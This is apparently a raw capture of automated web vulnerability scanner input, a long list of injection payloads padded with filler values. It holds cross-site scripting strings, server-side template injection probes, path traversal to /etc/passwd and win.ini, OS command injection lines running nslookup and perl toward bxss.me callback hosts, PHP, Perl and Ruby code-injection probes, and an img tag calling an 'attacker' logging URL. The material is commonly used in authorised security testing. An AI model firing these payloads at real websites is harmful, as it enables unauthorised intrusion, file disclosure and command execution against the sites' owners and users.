1< ScRiPt >3trX(9366)</ScRiPt>
1
1
1<isindex type=image src=1 onerror=3trX(9998)>
1
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9373'>
1<body onload=3trX(9798)>
1
1<img src=//xss.bxss.me/t/dot.gif onload=3trX(9808)>
1
1<img src=xyz OnErRor=3trX(9834)>
1
1<img/src=">" onerror=alert(9768)>
1
%31%3C%53%63%52%69%50%74%20%3E%33%74%72%58%289553%29%3C%2F%73%43%72%69%70%54%3E
1
1\u003CScRiPt\3trX(9213)\u003C/sCripT\u003E
1
1<ScRiPt>3trX(9093)</sCripT>
1
1<input autofocus onfocus=3trX(9583)>
1
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
1
1}body{acu:Expre/**/SSion(3trX(9574))}
1<% contenteditable onresize=3trX(9403)>
1
1E59Xm <ScRiPt >3trX(9255)</ScRiPt>
1
1<WIASAY>TQC6E[!+!]</WIASAY>
1
1<ifRAme sRc=9064.com></IfRamE>
1
1
1<rdZRPp x=9188>
1
1<img sRc='http://attacker-9561/log.php?
1
1<ptOrtB<
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >maOY(9327)</ScRiPt>
'"()&%<acx><ScRiPt >maOY(9776)</ScRiPt>
1
1
19680432
1
1
acu6392＜s1﹥s2ʺs3ʹuca6392
1
<%={{={@{#{${acx}}%>
1
1
1
<th:t="${acx}#foreach
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
1
1
1
1
acx{{98991*97996}}xca
1
1
acx[[${98991*97996}]]xca
1
1
acx__${98991*97996}__::.x
1
1<ScRiPt >maOY(9420)</ScRiPt>
1
1
1<WHNGGV>EKNI5[!+!]</WHNGGV>
1
1
1<script>maOY(9039)</script>
1
1<ScR<ScRiPt>IpT>maOY(9174)</sCr<ScRiPt>IpT>
1
1<ScRiPt >maOY(9462)</ScRiPt>
1
1
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9174></ScRiPt>
1
1< ScRiPt >maOY(9357)</ScRiPt>
1
1
1
1<isindex type=image src=1 onerror=maOY(9521)>
1
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9268'>
1
1
1
1<body onload=maOY(9289)>
1
1<img src=//xss.bxss.me/t/dot.gif onload=maOY(9956)>
1
1
1
1<img src=xyz OnErRor=maOY(9967)>
1
1
1
1<img/src=">" onerror=alert(9710)>
%31%3C%53%63%52%69%50%74%20%3E%6D%61%4F%59%289339%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\maOY(9536)\u003C/sCripT\u003E
1
1
1<ScRiPt>maOY(9113)</sCripT>
1
1
1<input autofocus onfocus=maOY(9075)>
1
<a HrEF=http://xss.bxss.me></a>
1
1
1
<a HrEF=jaVaScRiPT:>
1
1}body{acu:Expre/**/SSion(maOY(9068))}
1
1<% contenteditable onresize=maOY(9411)>
1
1vJMBZ <ScRiPt >maOY(9982)</ScRiPt>
1
1<WAEHVJ>YGVYC[!+!]</WAEHVJ>
1
1<ifRAme sRc=9307.com></IfRamE>
1<JEfqW0 x=9085>
1<img sRc='http://attacker-9673/log.php?
1<2kj4Db<
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
e
e
/xfs.bxss.me
response.write(9381876*9690273)
939783
'+response.write(9381876*9690273)+'
e
"+response.write(9381876*9690273)+"
http://xfs.bxss.me
e
e
//xfs.bxss.me
'.gethostbyname(lc('hitxt'.'vuvjqkez49cb8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(90).chr(109).chr(90).'
/\xfs.bxss.me
../../../../../../../../../../etc/passwd
".gethostbyname(lc("hitbj"."mcwaevey49b6b.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(65).chr(109).chr(68)."
../../../../../../../../../../windows/win.ini
e
)
e
e
!(()&&!|*|*|
e
e
e
^(#$!@#$)(()))******
e
../e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
echo oalxnz$()\ kfqdki\nz^xyu||a #' &echo oalxnz$()\ kfqdki\nz^xyu||a #|" &echo oalxnz$()\ kfqdki\nz^xyu||a #
e
e
e
&echo dairmp$()\ fpzyej\nz^xyu||a #' &echo dairmp$()\ fpzyej\nz^xyu||a #|" &echo dairmp$()\ fpzyej\nz^xyu||a #
e
e
e
|echo gogeaz$()\ asaiyb\nz^xyu||a #' |echo gogeaz$()\ asaiyb\nz^xyu||a #|" |echo gogeaz$()\ asaiyb\nz^xyu||a #
e
e
e
e
(nslookup hitlwafhcsfgbf49f3.bxss.me||perl -e "gethostbyname('hitlwafhcsfgbf49f3.bxss.me')")
HttP://bxss.me/t/xss.html?%00
e
e
bxss.me/t/xss.html?%00
$(nslookup hitucabrhmpla20bb8.bxss.me||perl -e "gethostbyname('hitucabrhmpla20bb8.bxss.me')")
e
&(nslookup hitiafpezvjxx4bbe9.bxss.me||perl -e "gethostbyname('hitiafpezvjxx4bbe9.bxss.me')")&'\"`0&(nslookup hitiafpezvjxx4bbe9.bxss.me||perl -e "gethostbyname('hitiafpezvjxx4bbe9.bxss.me')")&`'
e
|(nslookup hitqlmbdzwkzd1d670.bxss.me||perl -e "gethostbyname('hitqlmbdzwkzd1d670.bxss.me')")
"+"A".concat(70-3).concat(22*4).concat(104).concat(78).concat(104).concat(83)+(require"socket" Socket.gethostbyname("hitty"+"vjscxjud6b020.bxss.me.")[3].to_s)+"
e
e
`(nslookup hitjpftncnbpu95584.bxss.me||perl -e "gethostbyname('hitjpftncnbpu95584.bxss.me')")`
'+'A'.concat(70-3).concat(22*4).concat(119).concat(88).concat(102).concat(74)+(require'socket' Socket.gethostbyname('hitiz'+'jeffpunk1be9f.bxss.me.')[3].to_s)+'
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
e
e
;(nslookup hitpqjrvlnxnr3a65e.bxss.me||perl -e "gethostbyname('hitpqjrvlnxnr3a65e.bxss.me')")|(nslookup hitpqjrvlnxnr3a65e.bxss.me||perl -e "gethostbyname('hitpqjrvlnxnr3a65e.bxss.me')")&(nslookup hitpqjrvlnxnr3a65e.bxss.me||perl -e "gethostbyname('hitpqjrvlnxnr3a65e.bxss.me')")
1some_inexistent_file_with_long_name .jpg
e
e
Http://bxss.me/t/fit.txt
e
e
index.php
e
http://bxss.me/t/fit.txt?.jpg
e
e
index.php
e
bxss.me
e
index.php/.
'"
e
e
<!--
e
e
e
e
;print(md5(31337));
e
e
e
e
';print(md5(31337));$a='
e
e
e
e
e
e
";print(md5(31337));$a="
e
e
e
e
${@print(md5(31337))}
e
e
e
e
${@print(md5(31337))}\
e
e
e
e
'.print(md5(31337)).'
e<esi:include src="http://bxss.me/rpb.png"/>
e
e
e
e
e
e
e
e
e
e
1ndfYyPGO
${9999415+9999679}
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e'"()&%<acx><ScRiPt >vcpa(9210)</ScRiPt>
e
'"()&%<acx><ScRiPt >vcpa(9957)</ScRiPt>
e
e
e9724165
e
e
acu3983＜s1﹥s2ʺs3ʹuca3983
e
e
<%={{={@{#{${acx}}%>
e
<th:t="${acx}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
e<ScRiPt >vcpa(9958)</ScRiPt>
e<WXBJXI>5UCRU[!+!]</WXBJXI>
e<script>vcpa(9201)</script>
e<ScR<ScRiPt>IpT>vcpa(9286)</sCr<ScRiPt>IpT>
e<ScRiPt >vcpa(9183)</ScRiPt>
e<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9188></ScRiPt>
e< ScRiPt >vcpa(9861)</ScRiPt>
e<isindex type=image src=1 onerror=vcpa(9550)>
e<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9849'>
e<body onload=vcpa(9865)>
1
e<img src=//xss.bxss.me/t/dot.gif onload=vcpa(9548)>
e<img src=xyz OnErRor=vcpa(9369)>
e<img/src=">" onerror=alert(9631)>
%65%3C%53%63%52%69%50%74%20%3E%76%63%70%61%289593%29%3C%2F%73%43%72%69%70%54%3E
e\u003CScRiPt\vcpa(9244)\u003C/sCripT\u003E
e<ScRiPt>vcpa(9721)</sCripT>
e<input autofocus onfocus=vcpa(9176)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
e}body{acu:Expre/**/SSion(vcpa(9968))}
e<% contenteditable onresize=vcpa(9526)>
ebOl8K <ScRiPt >vcpa(9310)</ScRiPt>
e<WXNPPA>VNZMK[!+!]</WXNPPA>
e<ifRAme sRc=9754.com></IfRamE>
e<hqafda x=9462>
e<img sRc='http://attacker-9113/log.php?
e<SHWQKF<
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
1
1
1
/xfs.bxss.me
992993
http://xfs.bxss.me
//xfs.bxss.me
/\xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
response.write(9353166*9479201)
'+response.write(9353166*9479201)+'
1
1
"+response.write(9353166*9479201)+"
1
../../../../../../../../../../etc/passwd
../../../../../../../../../../windows/win.ini
1
1
../1
1
)
1
1
!(()&&!|*|*|
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
echo jmtavh$()\ mtcejz\nz^xyu||a #' &echo jmtavh$()\ mtcejz\nz^xyu||a #|" &echo jmtavh$()\ mtcejz\nz^xyu||a #
1
1
&echo chafde$()\ eyhkky\nz^xyu||a #' &echo chafde$()\ eyhkky\nz^xyu||a #|" &echo chafde$()\ eyhkky\nz^xyu||a #
1
|echo dlfbgf$()\ ofergn\nz^xyu||a #' |echo dlfbgf$()\ ofergn\nz^xyu||a #|" |echo dlfbgf$()\ ofergn\nz^xyu||a #
1
1
1
1
(nslookup hitrmwnejxejd8f187.bxss.me||perl -e "gethostbyname('hitrmwnejxejd8f187.bxss.me')")
1
1
$(nslookup hittswqmrxatv6aa41.bxss.me||perl -e "gethostbyname('hittswqmrxatv6aa41.bxss.me')")
1
'.gethostbyname(lc('hitpk'.'aewhnbwxeb88e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(90).chr(109).chr(74).'
1
1
&(nslookup hitqyzsgtlpos1ebbe.bxss.me||perl -e "gethostbyname('hitqyzsgtlpos1ebbe.bxss.me')")&'\"`0&(nslookup hitqyzsgtlpos1ebbe.bxss.me||perl -e "gethostbyname('hitqyzsgtlpos1ebbe.bxss.me')")&`'
".gethostbyname(lc("hiten"."rgbvnxpy9cfa0.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(66).chr(97).chr(77)."
1
|(nslookup hitiknbtmwcanb101a.bxss.me||perl -e "gethostbyname('hitiknbtmwcanb101a.bxss.me')")
1
`(nslookup hitkyxefroico229e8.bxss.me||perl -e "gethostbyname('hitkyxefroico229e8.bxss.me')")`
"+"A".concat(70-3).concat(22*4).concat(118).concat(68).concat(111).concat(87)+(require"socket" Socket.gethostbyname("hitia"+"lsbfzfre7e50d.bxss.me.")[3].to_s)+"
1
HttP://bxss.me/t/xss.html?%00
1
;(nslookup hituprtbolrud86fa4.bxss.me||perl -e "gethostbyname('hituprtbolrud86fa4.bxss.me')")|(nslookup hituprtbolrud86fa4.bxss.me||perl -e "gethostbyname('hituprtbolrud86fa4.bxss.me')")&(nslookup hituprtbolrud86fa4.bxss.me||perl -e "gethostbyname('hituprtbolrud86fa4.bxss.me')")
'+'A'.concat(70-3).concat(22*4).concat(118).concat(79).concat(113).concat(84)+(require'socket' Socket.gethostbyname('hitjx'+'qtjzhrpw778dc.bxss.me.')[3].to_s)+'
1
bxss.me/t/xss.html?%00
1
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1
1
1
index.php
1some_inexistent_file_with_long_name .jpg
1
1
1
index.php
1
Http://bxss.me/t/fit.txt
1
1
index.php/.
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
bxss.me
1
1
1
1
1
'"
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;print(md5(31337));
1
1
1
1
1
1